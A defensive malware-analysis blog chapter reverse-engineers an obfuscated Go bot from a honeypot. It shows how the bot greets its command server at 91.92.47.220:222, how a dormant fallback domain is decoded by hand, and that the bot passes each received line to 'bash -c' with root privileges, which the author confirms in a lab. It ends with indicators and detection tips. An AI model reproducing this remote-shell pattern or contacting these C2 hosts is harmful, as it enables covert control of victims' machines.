ES EN
Index

DIICOT · Chapter 33

DIICOT: Ciocolata flavour

Almost three megabytes that do one single thing: call home, say two words and wait ten seconds for someone to answer. If nobody does, it leaves without a trace. But inside, encrypted a different way, it carries a second address: a domain nobody has registered. And the rest of the program fits in one line of shell.

In chapter 28, the last one about this family, the wallet didn't travel with the critter: it was downloaded afterwards, from a place that was already dead. This one starts at the decoy, and the critter was delivered by hand.

On 15 October, an address in the 77.239.124.0/24 range guessed the root password after some eleven hundred attempts, using a client written in Go. What came next we already know from the series. It asked about the graphics card, swept away the competition and wrote down in /tmp/d.log the password it had got in with. Then it uploaded two files over scp: one with a random name in /var/tmp, which it ran on the spot, and another it left in /tmp/cache.

A minute and a half later, the decoy machine opened a connection to port 222 on 91.92.47.220 and said two things: Ciocolata and its own name. Nobody answered; the sinkhole takes notes, but doesn't talk back. Ten minutes later the machine was recycled, and the extractor kept whatever was left on disk. Among it, cache.

Unpacked, it was almost three megabytes that looked like very little in the lab's automatic report: one process, eighty-four events, ten seconds of life. I would have filed it away if it weren't for the address it called. It was 91.92.47.220. In chapter 27, that same machine was the mesh's bootstrap neighbour, on port 8081. Here they were calling it on 222.

What follows is what fits in those ten seconds, and what lies behind them, which is quite a lot more.

01Ten seconds

Detonated in the cage, the sample does this and nothing else:

its whole life, in seconds
 0.000   exec /tmp/134823c73b8d
 0.001   three threads                      # Go's scheduler, not the critter
 0.002   connect 91.92.47.220:222
 0.015   →  Ciocolata                       # 10 bytes
 0.015   →  bait-vm                         # the machine's name
 0.015   … waits. nothing arrives.
10.018   exit(0)

Not a file written, no persistence, not a glance at /proc, not a single password looked for. It introduces itself with two words, waits ten seconds and, if nobody answers, leaves as if nothing happened. For an automatic report, an almost boring critter.

Those two words are all it says, so they deserve a look. Ciocolata is a label: chocolate in Romanian, exactly as it's written without the final accent, ciocolată. In Italian it would be missing a c. It doesn't attribute anything on its own, but it isn't a spelling mistake. The second word, at first sight, looked like another label: something like the kind of machine it thinks it has infected.

The second word isn't a labelIt's the name of my lab's virtual machine. The critter asks the system what it's called and tells its master, and it asks with uname, a call that doesn't open any file: that's why it doesn't show up in the list of what it touched. The operator gets whatever name you gave your cage, so I'm not printing the real one. Here I call it bait-vm, which is exactly the name you should never give it.

02A file that says nothing

What it's made of, its sections tell you: .gopclntab, .go.buildinfo. It's Go. But whoever compiled it went to some trouble to make that of little use:

what was taken away
Go version        "unknown"                       # go version says nothing
line table        header 1cbc1062                 # Go has never used that value
packages          30 with made-up names           # oDrjXk4_25p, pkFTkaly, h4RWg8…
functions         2,776 of 3,389 nameless
strings           some three thousand readable runs   # nearly all from the Go engine

That rewritten header has a nice touch: the table's data is intact, but most tools that read Go binaries look for that number first, to know which version they're dealing with. When they don't recognise it, they read nothing. The lock is broken without touching the contents.

And the strings: all encrypted. The program's and those of the Go standard library it carries inside: network error messages, file names, everything. It's the same trick as in chapter 27: each string travels encrypted and is decrypted right before use. The only ones spared are those of the Go engine itself, which the obfuscator can't touch because they're needed before anything is set up. That's why the three thousand runs the strings tool pulls out are nearly all panic messages from the engine, and all that's left of the critter is a few loose words of three or four letters.

The version, which isn't anywhere, ends up being given away by the engine itself: it carries files that only exist from a certain Go release, and others that disappear in the next one. With that, Go 1.22: deduced, not read.

But those loose words are a crack in the wall:

what stays in the clear, and what doesn't
clear       tcp   %s   -c   bash
encrypted   no such host   /dev/stdin   127.0.0.1:53   /etc/hosts

Encrypting a string costs code, and for three letters it isn't worth it: the obfuscator leaves short ones in the clear. And the short ones are exactly the ones that give it away. bash and -c, together, in a program that talks over the network, can only mean one thing.

03Reading without names

With 2,776 nameless functions, reading the code one function at a time is a wasted afternoon. But there's something the obfuscator can't remove: the table that says where each function starts, because the Go engine itself needs it to work. With that and the calls between them, the program rebuilds itself, like a metro map with the station names wiped off but where you can still see the lines.

And some stations keep their names. The obfuscator doesn't dare touch the methods the program may use through interfaces, so .Start, .Run, .CombinedOutput survive. Three methods of the same type, and in Go that type can only be one: the one that launches programs. Climbing up from the system call that runs something, the chain comes out on its own:

from the system call up to the author
execve                                   # the kernel
 ← forkAndExecInChild                    # 22 system calls in a single function
   ← forkExec
     ← os.StartProcess
       ← (*Cmd).Start
         ← (*Cmd).Run
           ← (*Cmd).CombinedOutput
             ← main.main                 # the main function: 2,656 bytes

The main function is 2,656 bytes; with its helpers, the whole bot is under 7 KB. The rest of the almost three megabytes is Go. And in the main function sits the line that matters, read instruction by instruction:

what it does with every line it receives
out, _ := exec.Command("bash", "-c", line).CombinedOutput()

It reads a line from the connection, hands it to bash and sends back whatever comes out, errors included.

Ghidra pseudocode of main.main with hand-added names: args_0 points to the string "-c", args_1 is the received line; exec.Command then gets the string "bash" and those arguments, and exec.Cmd.CombinedOutput runs it. Two amber boxes mark the argument setup and the call.
The line that matters. main.main in Ghidra, with names and comments added by hand: anything that isn't "Ciocolata" goes into {"-c", line} and is handed to exec.Command with "bash". Right below, CombinedOutput collects output and errors.
No repertoire to read hereIn a Mirai or a Gafgyt the binary carries its own command language inside, and by reading it you know what it can do. The mesh in chapter 27 had a fixed set of commands: /peers, /connect, /leader, /hub, /update. This one carries none. It compares the line it receives with a single word, skips the ones that arrive empty and, if it isn't that word, gives it to bash. Its repertoire is bash's. In other words, everything.
Screenshot: the whole loopGhidra
Ghidra pseudocode of main.main's loop: ReadString, TrimSpace, nine bytes XOR-decrypted into "Ciocolata", a runtime.memequal comparison and, after the loop, exec.Command with bash. Boxes mark the empty-line case, the comparison, the loop exit and the call.
The whole repertoire. The full loop: read a line, trim it, decrypt "Ciocolata" (XOR) and compare. On a match, or an empty line, it reads again; anything else goes to bash.

04Decrypting it by hand

The word it compares against is Ciocolata. And here chapter 27 had left me a recipe: don't decrypt, let it do the work and read its memory. This time it didn't work.

The lab photographs the critter's memory when it starts talking on the network. The photo has the address and the machine's name. Ciocolata isn't there. The program decrypts it in a corner, writes it to the connection and reuses that corner: it lives for a few milliseconds. So it had to be the slow way.

the first Ciocolata, taken from the file without running anything
cipher    a6 a9 44 27 f0 66 b3 6c f7 87     # embedded in the instruction itself
key       63 40 d5 c4 81 fa 52 f8 96 7d     # elsewhere in the file
          ──────────────────────────────
subtract  C  i  o  c  o  l  a  t  a  \n

The ciphertext isn't in any table: it's embedded in the instructions, as if it were any other number. The key, somewhere else. And the operation is a subtraction, byte by byte. The second time the program uses the same word, the obfuscator picked another key and another operation: an XOR. The third time, a different one again: a shuffle of positions. Three ciphers for a single word, and across the binary there are hundreds like that, each with its own key and its own operation.

Why it uses it three timesTo say hello, for the heartbeat, and to recognise the heartbeat from the other side. Every thirty seconds, the bot repeats Ciocolata down the connection so its master knows it's still there. And according to the code, if it's the server that sends it, it runs nothing and goes back to listening; that part I've read, not seen. The label is greeting and pulse at once. But it isn't a password: as section 06 shows, anything that isn't exactly that word gets run.

05An address the lab didn't see

Reading the start of main.main, something turned up that the detonation hadn't shown: the bot doesn't have one address. It has two.

start-up
connect to 91.92.47.220:222              # 5-second timeout
  fails?  → build a second address
            connect to it                # another 5 seconds
  fails too?  → leave

In the cage the first one always worked (the lab's sinkhole accepts any connection), so the second never got to exist in memory. To see it, it had to come out of the file.

And the obfuscator encrypted it with another of its tricks. There's no ciphertext and no loop: there's a single closure, a tiny function that returns itself, called 29 times in a row, each time with a small number. On every call it appends one letter to the result, carrying a state from one to the next. Once you've read the code, the trick fits in three lines:

the second address, by hand
K = 0x12                              # initial state, baked into the code
for each number n in the chain:
    write (n - K) mod 256
    K = (K + n) mod 256

122 -5 -5 -25 -43 108 33 52 107 -50 -96 71 -111 35
 56 115 -19 -33 -72 103 -35 116 40 71 -99 0 -8 -16 -32
                       ↓
hotel.wildhorsehotnet.net:222             # a domain, and the same port

The first time round I skipped a number, the zero. The compiler doesn't write it like the others, and my search tool only recognised the shape of the other twenty-eight, so I got the domain glued to the port, without the colon. The zero is precisely the one that puts it there.

Screenshot: one closure, 29 callsGhidra
Ghidra pseudocode of main.direccion2_reserva: K is set to 0x12, a single closure is stored, followed by 29 chained calls with small numbers, one of them 0; the closing comment gives hotel.wildhorsehotnet.net:222, 29 bytes.
One closure, 29 calls. The seed K = 0x12, a single function that appends one character per call, and the chain of 29 numbers. The near-invisible 0 is what produces the colon: hotel.wildhorsehotnet.net:222.

Reading it is one thing. But to publish a domain by name, having read it isn't enough.

So I asked the critter. In the cage I shut the door on the first address (made the connection bounce instead of going through) and let it run:

with the first door shut
connect 91.92.47.220:222          → refused
DNS A      hotel.wildhorsehotnet.net
DNS AAAA   hotel.wildhorsehotnet.net
exit(0)                           # after 5 seconds, without connecting

With the first address open, the critter never asks for that name. With the first one shut, it asks for it, letter for letter the same as what I decrypted by hand. Two paths that share nothing, and the same result. Now, yes. It never got to connect to the second address: its five seconds ran out waiting for the DNS answer. That it connects afterwards is what the code says; I haven't seen it.

Nobody knows it, because it doesn't exist yetThe domain isn't registered. It doesn't resolve, it isn't in any certificate, nor in passive DNS, nor in URLhaus, ThreatFox, urlscan, OTX or anywhere on the web. Today, if the first address went down, the critter would ask for a name that leads nowhere. It's a dormant fallback: the operator registers it the day they need it and recovers everything the first one has lost.

And it's the part of the chapter I like best, because no source shows it: you have to pull it out of the binary. None can show a domain nobody has bought yet, even though the sample has been sitting on VirusTotal since 14 October for anyone willing to open it. For defenders there's also an obvious opportunity (a domain nobody owns can be owned first), but that's a decision with legal implications, not a button.

06Talking to it, in the cage

What was left was what it really does, which didn't show in the detonation because nobody answered it. So I answered it myself: a fake server inside the cage, with a script.

The first attempt went wrong, and it's the most useful part. I sent it a command as soon as it introduced itself. It didn't run it. It kept waiting, and thirty seconds later it said Ciocolata again. My reading of the code was wrong in one detail: the first line the server sends doesn't get run, it only wakes it up. It's an "are you there?" whose text doesn't matter. Commands go from the second line on.

With that learnt, I used its own heartbeat as a clock and sent it a different command on each one:

the conversation
 0.0   bot →  Ciocolata
 0.0      →   echo MARK_BARE_1; id          # 1st line: wakes it up, not run
 0.0   bot →  bait-vm
30.0   bot →  Ciocolata                     # the heartbeat
30.0      →   echo MARK_BARE_2; id
30.0   bot →  MARK_BARE_2 · uid=0(root) gid=0(root)      # run
60.0      →   Ciocolata echo MARK_PFX_SP; id
60.0   bot →  bash: line 1: Ciocolata: command not found · uid=0(root) …

Three things are now proven, no longer deduced. It runs whatever you send it, with the permissions of whoever started it: here, root, which is how it lands on the decoy. It's literal bash: that bash: line 1: is its unmistakable fingerprint. And there's no password: the word Ciocolata stuck in front of a command authorises nothing; bash tries to run it as if it were a program and carries on with the rest.

And the ten seconds from the start change meaning. They aren't a per-command timeout: they're how long it waits for its master to say the first word. The code shows it plainly: it sets the deadline, reads the first line, does nothing with it and clears the deadline. Once awake, it sat through thirty-second gaps without leaving, until I stopped it.

Screenshot: ten seconds, onceGhidra
Ghidra pseudocode: time.Now and time.Time.Add, SetReadDeadline, a ReadString whose result is not stored, the exit on failure, SetReadDeadline with zeros and runtime.newproc for the heartbeat.
Ten seconds, once. It sets a deadline, reads the first line and never uses it. Then it clears the deadline and starts the heartbeat. The 10 s constant only shows in the listing (MOV RDI,0x2540be400); the decompiler hides it.
Careful with the reportEverything the critter did after my first command was my doing. The commands were echo, id and uname, read-only, and id, for instance, opens the system's user file: the report logs it as if the bot "looked up its own user". No: my command did. Its own behaviour is only what it did before I woke it up.

07What it doesn't do

Across five detonations, the only place it calls is its server, plus the DNS when it looks for the fallback. It doesn't sweep addresses, doesn't try passwords, doesn't leave a door open for anyone to come in: it doesn't even carry the system call that accepts connections. It doesn't mine, nor bring a miner along. It isn't a worm: it's a remote executor. A remote control with a single button.

Not spreading on its own doesn't mean it doesn't spreadIt runs bash with whatever permissions it has, and on the decoy those were root's. If the operator wants that machine to scan the network, pull down a miner or jump to the one next door, one line is all it takes. Spreading isn't in the binary: it's at the keyboard of whoever drives it.

08Indicators

Those for the machine it calls, the previous version and the family are in the next chapter. These are the critter's.

TypeValue
Primary C291.92.47.220:222 (TCP, plain text; AS197170 TechTies)
Fallback C2hotel.wildhorsehotnet.net:222 (unregistered as of November 2026: dormant fallback)
Name on disk/tmp/cache, UPX-packed
GreetingCiocolata\n followed by the machine name and \n, in two sends
HeartbeatCiocolata every 30 s, outbound · according to the code, if the server sends it nothing is run
Executionbash -c <line>, with the process's privileges (in the cases seen, root); returns output and errors · the server's first line is discarded · empty lines aren't run either
Timeouts5 s per connection attempt · about 10 s waiting for the server's first word · heartbeat every 30 s
BuildGo 1.22 obfuscated with garble, strings encrypted one by one; line-table header rewritten (1cbc1062)
SHA-256 sample134823c73b8ddb571ea2c2887292ec8fa5d830a9f91ad2a8c33ac2c4cd3796c1
SHA-256 (packed)0980b29bdac6b74fb3a4875a3215373c4ea392bc4a60a7bf931ad888ba063741 (cache, the one that unpacks into the above)
TLSH76D54B13BCE50895C4FEA271952A8222FA747C480B3523DF6B90B7781F337E19976B91 (to hunt for siblings)

The cheapest detection of all: an outbound connection to port 222 whose first bytes are Ciocolata. A file called cache in /tmp that belongs to no known program. And on a server, a process that launches bash -c with whatever comes in over the network and sends the output back the same way.

To be continued - I already knew the address it calls: in chapter 27 it was the mesh's seed. Pulling on that thread brings out the rest of the family, and also why the critter throws away the first line without looking at it. 🍯

Comments